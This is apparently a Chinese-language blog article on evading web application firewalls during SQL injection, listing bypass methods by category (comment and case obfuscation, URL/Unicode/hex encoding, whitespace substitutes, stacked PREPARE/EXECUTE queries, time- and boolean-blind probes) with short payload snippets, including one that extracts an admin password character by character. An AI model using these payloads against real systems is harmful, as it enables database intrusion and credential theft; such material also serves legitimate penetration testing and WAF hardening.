SQL 注入绕过技术 已经是一个老生常谈的内容了,防注入可以使用某些云 waf 加速乐等安全产品,这些产品会自带 waf 属性拦截和抵御 SQL 注入,也有一些产品会在服务器里安装软件,例如 iis 安全狗、d 盾、还有就是在程序里对输入参数进行过滤和拦截 例如 360webscan 脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。SQL 注入绕过的技术也有许多。但是在日渐成熟的 waf 产品面前,因为waf 产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就越来越高了。接下来将会详细介绍针对 waf 的拦截注入的绕过方法。
1. 常见绕过方法分类
1.1 字符绕过
1.1.1 引号绕过
- 单引号绕过:使用双引号、反引号或不使用引号
- 转义字符绕过:利用
\'、\"等转义字符 - 十六进制编码:将字符串转换为十六进制格式,如
0x61646D696E代替admin
1.1.2 注释绕过
- 单行注释:
--、#、--+ - 多行注释:
/* */ - 内联注释:
/*! */(MySQL特有)
1.2 操作符绕过
1.2.1 逻辑操作符绕过
- 使用
OR、AND的替代形式:||、&& - 使用
XOR操作符 - 使用
NOT操作符:!
1.2.2 比较操作符绕过
- 使用
LIKE代替= - 使用
REGEXP代替= - 使用范围操作符:
BETWEEN、IN
1.3 函数绕过
1.3.1 字符串函数
- 使用
CONCAT()、CONCAT_WS()连接字符串 - 使用
SUBSTRING()、MID()截取字符串 - 使用
CHAR()将ASCII码转换为字符
1.3.2 数学函数
- 使用
ROUND()、FLOOR()、CEIL()等函数 - 使用
RAND()生成随机数 - 使用
POW()、SQRT()等数学运算
1.4 WAF绕过
1.4.1 大小写混淆
- 混合使用大小写:
UnIoN、SeLeCt - 使用URL编码:
%55%6E%49%4F%4E
1.4.2 特殊字符插入
- 使用空格替代:
%20、%09、%0A - 使用括号:
SELECT(1)FROM(users) - 使用注释插入:
SELECT/*comment*/1/*comment*/FROM/*comment*/users
1.4.3 分块注入
- 将注入语句分成多个部分
- 使用变量存储中间结果
1.5 盲注绕过
1.5.1 时间盲注
- 使用
SLEEP()、BENCHMARK()函数 - 使用条件语句:
IF()、CASE WHEN
1.5.2 布尔盲注
- 使用
LIKE、REGEXP进行逐字符判断 - 使用位运算:
&、|、^
1.6 编码绕过
1.6.1 URL编码
- 多次URL编码:
%2527代替' - 使用双重编码:
%2520代替空格
1.6.2 Unicode编码
- 使用Unicode字符:
%u0027代替' - 使用UTF-8编码:
%E2%80%99代替'
1.6.3 Base64编码
- 将注入语句Base64编码后注入
- 结合其他编码方式使用
2. 具体绕过技术详解
2.1 空格绕过技术
- 使用
/**/代替空格 - 使用
()代替空格:SELECT(id)FROM(users) - 使用特殊字符:
%09、%0A、%0B、%0C、%0D、%20
2.2 注释绕过技术
- MySQL:
#、--、--+、/* */ - PostgreSQL:
--、/* */ - SQL Server:
--、/* */、--
2.3 函数绕过技术
- 字符串连接:
CONCAT('a','b')、'a'+'b' - 字符串截取:
SUBSTRING('test',1,1)、MID('test',1,1) - 字符串长度:
LENGTH('test')、CHAR_LENGTH('test')
2.4 WAF绕过技术
- 大小写混合:
uNiOn SeLeCt - 特殊字符插入:
U/**/NION/**/S/**/ELECT - 分块注入:
text ;SET @a=0x73656C656374202A2066726F6D207573657273; PREPARE stmt FROM @a; EXECUTE stmt;
2.5 盲注绕过技术
- 时间盲注:
text IF((SELECT COUNT(*) FROM users)>0,SLEEP(5),0)
- 布尔盲注:
text SELECT 1 WHERE (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'
评论区
评论加载中...